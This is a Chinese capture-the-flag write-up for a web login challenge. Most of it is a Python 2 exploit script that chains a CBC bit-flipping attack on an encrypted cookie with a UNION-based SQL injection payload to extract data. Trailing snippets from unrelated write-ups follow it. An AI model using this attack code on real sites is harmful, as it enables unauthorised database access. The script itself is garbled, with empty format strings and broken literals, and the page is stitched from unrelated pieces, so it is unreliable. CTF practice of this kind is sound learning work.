先嘗試1』,爆出
1」,爆出
再使用抓包
發現了乙個test.php介面,進去看看
出現一堆**,檢視原始碼
看見網頁原始碼
然後看看dalao們指令碼,組成我們的payload-exp
寫乙個py檔案
內容為import requests,base64,urllib,math
def work():
url = ''
payload = '0 union select 1,value,3 from you_want limit 1#'
#payload = 'x'*20
plaintext = 'a:1:'%(len(payload),payload)
badtext = 'x'*16
if len(plaintext)%16:
if len(plaintext)%16>3:
badtext = 'x'*(len(plaintext)%16-3)+'";}'
elif len(plaintext)%16 == 3:
badtext = '";}'
elif len(plaintext)%16 == 1:
badtext = '}'
else:
badtext = ';}'
r = requests.post(url,data=)
sc = r.headers['set-cookie'].split(',')
iv = 'a'*16
cipher = sc[1][sc[1].find('=')+1:]
blocknum = len(cipher)/16
cipher = base64.b64decode(urllib.unquote(cipher))
blocknum = len(cipher)/16
cipherblock = [iv]
cipherblock += [cipher[16*i:16*(i+1)] for i in xrange(blocknum)]
plainblock = [plaintext[16*i:16*(i+1)] for i in xrange(blocknum)]
for i in xrange(blocknum-1,-1,-1):
s1 = plainblock[i]
s2 = cipherblock[i]
tmp = ''
for j in xrange(len(s1)):
tmp += chr(ord(s1[j])^ord(badtext[j])^ord(s2[j]))
cipherblock[i]=tmp+s2[len(tmp):]
if i == 0:
iv = cipherblock[0]
iv_new = urllib.quote(base64.b64encode(iv))
cipher_new = urllib.quote(base64.b64encode(''.join(cipherblock[1:])))
headers=;cipher={}'.format(iv_new,cipher_new)}
r = requests.get(url,headers=headers)
if i != 0:
tmp = r.text[r.text.find('decode')+8:r.text.rfind("')")]
badtext = base64.b64decode(tmp)[16*(i-1):16*i]
else:
print r.text.encode('gb18030')
work()
然後cmd裡執行一下得到
實驗吧 簡單的登入題
這是在實驗吧上面的一道web題。主要考察cbc位元組反轉攻擊。題目開始就是輸入id去登入 首先想到的就是sql注入了,輸入1 後頁面顯示hello,重新載入的話頁面返回報錯資訊 確實存在注入,看那後面的逗號,猜測注入點在limit後面。然後試了很多,發現題目把union,procedure等都過濾了...
實驗吧 後台登入
檢視原始碼 password post password sql select from admin where username admin and password md5 password,true result mysqli query link,sql if mysqli num rows...
實驗吧 後台登入 Writeup
感覺學習到了瓶頸了,最近還在備考s 工作也特別忙,有空的話,每天搞個web相關的ctf題目做做吧,學些姿勢。一進去就發現是需要登陸,第一反應是注入。試了一會,萬能密碼啥的發現都提示密碼錯誤。審查元素,發現了注釋,已經給了sql語句了,發現密碼是被md5加密的,並且只輸出16位,並且以 raw bin...